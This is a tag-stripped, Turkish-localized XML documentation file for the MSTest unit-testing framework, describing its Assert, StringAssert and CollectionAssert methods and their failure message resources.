AssertFailedException oluşturur. - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - Şu durumda özel duruma dahil edilecek ileti - tarafından şu türde özel durum oluşturulmadığı durumlarda oluşturulur: . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Bir temsilciyi çalıştırıyor. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa AssertFailedException oluşturur. - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - Şu durumda özel duruma dahil edilecek ileti - tarafından şu türde özel durum oluşturulmadığı durumlarda oluşturulur: . - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Bir temsilciyi çalıştırıyor. - - - - - Null karakterleri ('\0'), "\\0" ile değiştirir. - - - Aranacak dize. - - - Null karakterler içeren dönüştürülmüş dize "\\0" ile değiştirildi. - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - AssertionFailedException oluşturan yardımcı işlev - - - özel durum oluşturan onaylamanın adı - - - onaylama hatası koşullarını açıklayan ileti - - - Parametreler. - - - - - Parametreyi geçerli koşullar için denetler - - - Parametre. - - - Onaylama Adı. - - - parametre adı - - - iletisi geçersiz parametre özel durumu içindir - - - Parametreler. - - - - - Bir nesneyi güvenli bir şekilde dizeye dönüştürür, null değerleri ve null karakterleri işler. - Null değerler "(null)" değerine dönüştürülür. Null karakterler "\\0" değerine dönüştürülür. - - - Dizeye dönüştürülecek nesne. - - - Dönüştürülmüş dize. - - - - - Dize onayı. - - - - - CollectionAssert işlevselliğinin tekil örneğini alır. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Belirtilen dizenin belirtilen alt dizeyi içerip içermediğini test eder - ve alt dize test dizesinin içinde geçmiyorsa bir özel durum - oluşturur. - - - Şunu içermesi beklenen dize . - - - Şunun içinde gerçekleşmesi beklenen dize: . - - - Thrown if is not found in - . - - - - - Belirtilen dizenin belirtilen alt dizeyi içerip içermediğini test eder - ve alt dize test dizesinin içinde geçmiyorsa bir özel durum - oluşturur. - - - Şunu içermesi beklenen dize . - - - Şunun içinde gerçekleşmesi beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şunun içinde değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not found in - . - - - - - Belirtilen dizenin belirtilen alt dizeyi içerip içermediğini test eder - ve alt dize test dizesinin içinde geçmiyorsa bir özel durum - oluşturur. - - - Şunu içermesi beklenen dize . - - - Şunun içinde gerçekleşmesi beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şunun içinde değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not found in - . - - - - - Belirtilen dizenin belirtilen alt dizeyle başlayıp başlamadığını test eder - ve test dizesi alt dizeyle başlamıyorsa bir özel durum - oluşturur. - - - Şununla başlaması beklenen dize . - - - Şunun ön eki olması beklenen dize: . - - - Thrown if does not begin with - . - - - - - Belirtilen dizenin belirtilen alt dizeyle başlayıp başlamadığını test eder - ve test dizesi alt dizeyle başlamıyorsa bir özel durum - oluşturur. - - - Şununla başlaması beklenen dize . - - - Şunun ön eki olması beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şununla başlamıyor: . İleti - test sonuçlarında gösterilir. - - - Thrown if does not begin with - . - - - - - Belirtilen dizenin belirtilen alt dizeyle başlayıp başlamadığını test eder - ve test dizesi alt dizeyle başlamıyorsa bir özel durum - oluşturur. - - - Şununla başlaması beklenen dize . - - - Şunun ön eki olması beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şununla başlamıyor: . İleti - test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if does not begin with - . - - - - - Belirtilen dizenin belirtilen alt dizeyle bitip bitmediğini test eder - ve test dizesi alt dizeyle bitmiyorsa bir özel durum - oluşturur. - - - Dizenin şununla bitmesi beklenir: . - - - Şunun son eki olması beklenen dize: . - - - Thrown if does not end with - . - - - - - Belirtilen dizenin belirtilen alt dizeyle bitip bitmediğini test eder - ve test dizesi alt dizeyle bitmiyorsa bir özel durum - oluşturur. - - - Dizenin şununla bitmesi beklenir: . - - - Şunun son eki olması beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şununla bitmiyor: . İleti - test sonuçlarında gösterilir. - - - Thrown if does not end with - . - - - - - Belirtilen dizenin belirtilen alt dizeyle bitip bitmediğini test eder - ve test dizesi alt dizeyle bitmiyorsa bir özel durum - oluşturur. - - - Dizenin şununla bitmesi beklenir: . - - - Şunun son eki olması beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şununla bitmiyor: . İleti - test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if does not end with - . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşmiyorsa bir özel durum oluşturur. - - - Eşleşmesi beklenen dize . - - - Normal ifade: eşleşmesi - bekleniyor. - - - Thrown if does not match - . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşmiyorsa bir özel durum oluşturur. - - - Eşleşmesi beklenen dize . - - - Normal ifade: eşleşmesi - bekleniyor. - - - Şu durumda özel duruma dahil edilecek ileti - eşleşmiyor . İleti test sonuçlarında - gösterilir. - - - Thrown if does not match - . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşmiyorsa bir özel durum oluşturur. - - - Eşleşmesi beklenen dize . - - - Normal ifade: eşleşmesi - bekleniyor. - - - Şu durumda özel duruma dahil edilecek ileti - eşleşmiyor . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if does not match - . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşiyorsa bir özel durum oluşturur. - - - Eşleşmemesi beklenen dize . - - - Normal ifade: eşleşmemesi - bekleniyor. - - - Thrown if matches . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşiyorsa bir özel durum oluşturur. - - - Eşleşmemesi beklenen dize . - - - Normal ifade: eşleşmemesi - bekleniyor. - - - Şu durumda özel duruma dahil edilecek ileti - eşleşme . İleti, test sonuçlarında - gösterilir. - - - Thrown if matches . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşiyorsa bir özel durum oluşturur. - - - Eşleşmemesi beklenen dize . - - - Normal ifade: eşleşmemesi - bekleniyor. - - - Şu durumda özel duruma dahil edilecek ileti - eşleşme . İleti, test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if matches . - - - - - Birim testleri içindeki koleksiyonlarla ilişkili çeşitli koşulları test etmeye - yönelik yardımcı sınıf koleksiyonu. Test edilen koşul karşılanmazsa - bir özel durum oluşturulur. - - - - - CollectionAssert işlevselliğinin tekil örneğini alır. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda değilse bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olması beklenen öğe. - - - Thrown if is not found in - . - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda değilse bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olması beklenen öğe. - - - Şu durumda özel duruma dahil edilecek ileti - şunun içinde değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not found in - . - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda değilse bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olması beklenen öğe. - - - Şu durumda özel duruma dahil edilecek ileti - şunun içinde değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not found in - . - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda bulunuyorsa bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olmaması beklenen öğe. - - - Thrown if is found in - . - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda bulunuyorsa bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olmaması beklenen öğe. - - - Şu durumda özel duruma dahil edilecek ileti - şunun içindedir: . İleti, test sonuçlarında - gösterilir. - - - Thrown if is found in - . - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda bulunuyorsa bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olmaması beklenen öğe. - - - Şu durumda özel duruma dahil edilecek ileti - şunun içindedir: . İleti, test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is found in - . - - - - - Belirtilen koleksiyondaki tüm öğelerin null dışında değere sahip olup - olmadığını test eder ve herhangi bir öğe null ise özel durum oluşturur. - - - İçinde null öğelerin aranacağı koleksiyon. - - - Thrown if a null element is found in . - - - - - Belirtilen koleksiyondaki tüm öğelerin null dışında değere sahip olup - olmadığını test eder ve herhangi bir öğe null ise özel durum oluşturur. - - - İçinde null öğelerin aranacağı koleksiyon. - - - Şu durumda özel duruma dahil edilecek ileti - bir null öğe içeriyor. İleti test sonuçlarında gösterilir. - - - Thrown if a null element is found in . - - - - - Belirtilen koleksiyondaki tüm öğelerin null dışında değere sahip olup - olmadığını test eder ve herhangi bir öğe null ise özel durum oluşturur. - - - İçinde null öğelerin aranacağı koleksiyon. - - - Şu durumda özel duruma dahil edilecek ileti - bir null öğe içeriyor. İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if a null element is found in . - - - - - Belirtilen koleksiyondaki tüm öğelerin benzersiz olup olmadığını test eder - ve koleksiyondaki herhangi iki öğe eşitse özel durum oluşturur. - - - Yinelenen öğelerin aranacağı koleksiyon. - - - Thrown if a two or more equal elements are found in - . - - - - - Belirtilen koleksiyondaki tüm öğelerin benzersiz olup olmadığını test eder - ve koleksiyondaki herhangi iki öğe eşitse özel durum oluşturur. - - - Yinelenen öğelerin aranacağı koleksiyon. - - - Şu durumda özel duruma dahil edilecek ileti - en az bir yinelenen öğe içeriyor. İleti, test sonuçlarında - gösterilir. - - - Thrown if a two or more equal elements are found in - . - - - - - Belirtilen koleksiyondaki tüm öğelerin benzersiz olup olmadığını test eder - ve koleksiyondaki herhangi iki öğe eşitse özel durum oluşturur. - - - Yinelenen öğelerin aranacağı koleksiyon. - - - Şu durumda özel duruma dahil edilecek ileti - en az bir yinelenen öğe içeriyor. İleti, test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if a two or more equal elements are found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki herhangi bir öğe aynı zamanda üst kümede - yoksa bir özel durum oluşturur. - - - Şunun alt kümesi olması beklenen koleksiyon: . - - - Şunun üst kümesi olması beklenen koleksiyon: - - - Thrown if an element in is not found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki herhangi bir öğe aynı zamanda üst kümede - yoksa bir özel durum oluşturur. - - - Şunun alt kümesi olması beklenen koleksiyon: . - - - Şunun üst kümesi olması beklenen koleksiyon: - - - İletinin özel duruma dahil edilmesi için şuradaki bir öğe: - şurada bulunmuyor: . - İleti test sonuçlarında gösterilir. - - - Thrown if an element in is not found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki herhangi bir öğe aynı zamanda üst kümede - yoksa bir özel durum oluşturur. - - - Şunun alt kümesi olması beklenen koleksiyon: . - - - Şunun üst kümesi olması beklenen koleksiyon: - - - İletinin özel duruma dahil edilmesi için şuradaki bir öğe: - şurada bulunmuyor: . - İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if an element in is not found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki tüm öğeler aynı zamanda üst kümede - bulunuyorsa bir özel durum oluşturur. - - - Şunun alt kümesi olmaması beklenen koleksiyon: . - - - Şunun üst kümesi olmaması beklenen koleksiyon: - - - Thrown if every element in is also found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki tüm öğeler aynı zamanda üst kümede - bulunuyorsa bir özel durum oluşturur. - - - Şunun alt kümesi olmaması beklenen koleksiyon: . - - - Şunun üst kümesi olmaması beklenen koleksiyon: - - - Mesajın özel duruma dahil edilmesi için şuradaki her öğe: - ayrıca şurada bulunur: . - İleti test sonuçlarında gösterilir. - - - Thrown if every element in is also found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki tüm öğeler aynı zamanda üst kümede - bulunuyorsa bir özel durum oluşturur. - - - Şunun alt kümesi olmaması beklenen koleksiyon: . - - - Şunun üst kümesi olmaması beklenen koleksiyon: - - - Mesajın özel duruma dahil edilmesi için şuradaki her öğe: - ayrıca şurada bulunur: . - İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if every element in is also found in - . - - - - - İki koleksiyonun aynı öğeleri içerip içermediğini test eder ve koleksiyonlardan - biri diğer koleksiyonda olmayan bir öğeyi içeriyorsa özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte beklenen öğeleri - içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - İki koleksiyonun aynı öğeleri içerip içermediğini test eder ve koleksiyonlardan - biri diğer koleksiyonda olmayan bir öğeyi içeriyorsa özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte beklenen öğeleri - içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Bir öğe koleksiyonlardan birinde varken diğerinde olmadığında - özel duruma eklenecek ileti. İleti, test sonuçlarında - gösterilir. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - İki koleksiyonun aynı öğeleri içerip içermediğini test eder ve koleksiyonlardan - biri diğer koleksiyonda olmayan bir öğeyi içeriyorsa özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte beklenen öğeleri - içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Bir öğe koleksiyonlardan birinde varken diğerinde olmadığında - özel duruma eklenecek ileti. İleti, test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - İki koleksiyonun farklı öğeler içerip içermediğini test eder ve iki koleksiyon - sıraya bakılmaksızın aynı öğeleri içeriyorsa bir özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte gerçek koleksiyondan farklı olması beklenen - öğeleri içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - İki koleksiyonun farklı öğeler içerip içermediğini test eder ve iki koleksiyon - sıraya bakılmaksızın aynı öğeleri içeriyorsa bir özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte gerçek koleksiyondan farklı olması beklenen - öğeleri içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynı öğeleri içerir: . İleti - test sonuçlarında gösterilir. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - İki koleksiyonun farklı öğeler içerip içermediğini test eder ve iki koleksiyon - sıraya bakılmaksızın aynı öğeleri içeriyorsa bir özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte gerçek koleksiyondan farklı olması beklenen - öğeleri içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynı öğeleri içerir: . İleti - test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Belirtilen koleksiyondaki tüm öğelerin beklenen türde örnekler - olup olmadığını test eder ve beklenen tür bir veya daha fazla öğenin - devralma hiyerarşisinde değilse bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen öğeleri içeren - koleksiyon. - - - Her öğe için beklenen tür . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Belirtilen koleksiyondaki tüm öğelerin beklenen türde örnekler - olup olmadığını test eder ve beklenen tür bir veya daha fazla öğenin - devralma hiyerarşisinde değilse bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen öğeleri içeren - koleksiyon. - - - Her öğe için beklenen tür . - - - İletinin özel duruma dahil edilmesi için şuradaki bir öğe: - şunun bir örneği değil: - . İleti test sonuçlarında gösterilir. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Belirtilen koleksiyondaki tüm öğelerin beklenen türde örnekler - olup olmadığını test eder ve beklenen tür bir veya daha fazla öğenin - devralma hiyerarşisinde değilse bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen öğeleri içeren - koleksiyon. - - - Her öğe için beklenen tür . - - - İletinin özel duruma dahil edilmesi için şuradaki bir öğe: - şunun bir örneği değil: - . İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Thrown if is equal to . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Thrown if is equal to . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Şu durumda özel duruma dahil edilecek ileti: - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Şu durumda özel duruma dahil edilecek ileti: - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Şu parametre biçimlendirilirken kullanılacak parametre dizisi: . - - - Thrown if is equal to . - - - - - Birinci koleksiyonun ikinci koleksiyona ait bir alt küme olup - olmadığını belirler. Kümelerden biri yinelenen öğeler içeriyorsa, - öğenin alt kümedeki oluşum sayısı üst kümedeki oluşum sayısına - eşit veya bu sayıdan daha az olmalıdır. - - - Testin içinde bulunmasını beklediği koleksiyon . - - - Testin içermesini beklediği koleksiyon . - - - Şu durumda true: şunun bir alt kümesidir: - , aksi takdirde false. - - - - - Belirtilen koleksiyondaki her öğenin oluşum sayısını içeren bir - sözlük oluşturur. - - - İşlenecek koleksiyon. - - - Koleksiyondaki null öğe sayısı. - - - Belirtilen koleksiyondaki her öğenin oluşum sayısını içeren - bir sözlük. - - - - - İki koleksiyon arasında eşleşmeyen bir öğe bulur. Eşleşmeyen öğe, - beklenen koleksiyonda gerçek koleksiyondakinden farklı sayıda görünen - öğedir. Koleksiyonların, - aynı sayıda öğeye sahip null olmayan farklı başvurular olduğu - varsayılır. Bu doğrulama düzeyinden - çağıran sorumludur. Eşleşmeyen bir öğe yoksa işlev - false değerini döndürür ve dış parametreler kullanılmamalıdır. - - - Karşılaştırılacak birinci koleksiyon. - - - Karşılaştırılacak ikinci koleksiyon. - - - Şunun için beklenen oluşma sayısı: - veya uyumsuz öğe yoksa - 0. - - - Gerçek oluşma sayısı: - veya uyumsuz öğe yoksa - 0. - - - Uyumsuz öğe (null olabilir) veya uyumsuz bir - öğe yoksa null. - - - uyumsuz bir öğe bulunduysa true; aksi takdirde false. - - - - - object.Equals kullanarak nesneleri karşılaştırır - - - - - Çerçeve Özel Durumları için temel sınıf. - - - - - sınıfının yeni bir örneğini başlatır. - - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - Özel durum. - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - - - - Yerelleştirilmiş dizeleri aramak gibi işlemler için, türü kesin olarak belirtilmiş kaynak sınıfı. - - - - - Bu sınıf tarafından kullanılan, önbelleğe alınmış ResourceManager örneğini döndürür. - - - - - Türü kesin olarak belirlenmiş bu kaynak sınıfını kullanan - tüm kaynak aramaları için geçerli iş parçacığının CurrentUICulture özelliğini geçersiz kılar. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Erişim dizesinde geçersiz söz dizimi var. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen koleksiyon {1} <{2}> oluşumu içeriyor. Gerçek koleksiyon {3} oluşum içeriyor. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Yinelenen öğe bulundu:<{1}>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen:<{1}>. Gerçek değer için büyük/küçük harf kullanımı farklı:<{2}>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen <{1}> değeri ile gerçek <{2}> değeri arasında en fazla <{3}> fark bekleniyordu. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen:<{1} ({2})>. Gerçek:<{3} ({4})>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen:<{1}>. Gerçek:<{2}>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen <{1}> değeri ile gerçek <{2}> değeri arasında <{3}> 